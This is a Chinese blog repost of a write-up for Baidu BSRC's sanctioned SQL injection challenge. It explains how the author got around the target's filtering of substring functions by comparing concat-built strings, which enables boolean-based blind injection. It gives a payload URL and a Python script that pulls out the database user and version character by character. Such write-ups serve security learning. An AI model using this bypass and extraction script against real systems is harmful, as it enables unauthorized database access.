百度BSRC SQL注入挑战赛部分writeup

栏目: 数据库 · 发布时间: 8年前

内容简介:百度BSRC SQL注入挑战赛部分writeup

百度BSRC在4月底举办了一个 SQL 注入挑战赛,以靶机的形式供安全测试人员攻击。

活动发布在百度安全应急响应中心微信公众号,判定标准分为两档:

  1. 读取 mysql 系统信息(user,version)或数据库名
  2. 通过SQL注入读取表内secret数据

比赛时间是4月28到5月1日24点,等我看到这个比赛的时候已经5月1日晚上9点多了,5月1日24点以后靶机就停止运行了,水平有限,只达到第一档的标准,而且也不是最早提交case的。另外,由于靶机已经关闭,下文关于靶机的描述可能存在偏差。

0x02 过滤与绕过

靶机url: http://sqlitest.anquanbao.com.cn/api/query?art_id=1

靶机屏蔽了错误信息,因此基于报错的注入无法进行,从测试来看,盲注的可能性很大。

经过测试,发现1在SQL语句中是整数。

靶机过滤了一些基本的字符串处理函数,mid,left,right,substr,substring等函数都被过滤。

无法将字符串分开就无法跑盲注,靶机过滤了所有的字符串分割函数,怎样才能让字符串中的字符一个一个跑出来呢?

答案是使用concat,我的绕过方法是通过concat与字符串比较大小,造成基于布尔型的注入。

payload: http://sqlitest.anquanbao.com.cn/api/query?art_id=hex(user()%3CCONCAT(char(67 ))) 在concat中不断增加字符即可做基于布尔类型的盲注。

代码

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import sys

url="http://sqlitest.anquanbao.com.cn/api/query?art_id=hex(version()<CONCAT(%s))"
pre=""
i=0
result=""
while i<128:
    #print url
    r=requests.get(url%(pre+'char('+str(i)+")"))
    print r.url
    if len(r.text)>203:
        if i!=33:
            pre=pre+'char('+str(i-1)+'),'
            result+=chr(i-1)
            print result
            i=0
        else:
            break
    i=i+1

获取的user和version如下:

  • user():BSQLITEST@LOCALHOST
  • version():5.5.54-0+DEB8U1

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

计算机程序设计艺术(第3卷)-排序和查找(英文影印版)

计算机程序设计艺术(第3卷)-排序和查找(英文影印版)

(美)Donald E.Knuth / 清华大学出版社 / 2002-9 / 85.00元

《计算机程序设计艺术排序和查找(第3卷)(第2版)》内容简介:这是对第3卷的头一次修订,不仅是对经典计算机排序和查找技术的最全面介绍,而且还对第1卷中的数据结构处理技术作了进一步的扩充,通盘考虑了将大小型数据库和内外存储器。它遴选了一些经过反复检验的计算机方法,并对其效率做了定量分析。第3卷的突出特点是对“最优排序”一节作了修订,对排列论原理与通用散列法作了全新讨论。一起来看看 《计算机程序设计艺术(第3卷)-排序和查找(英文影印版)》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具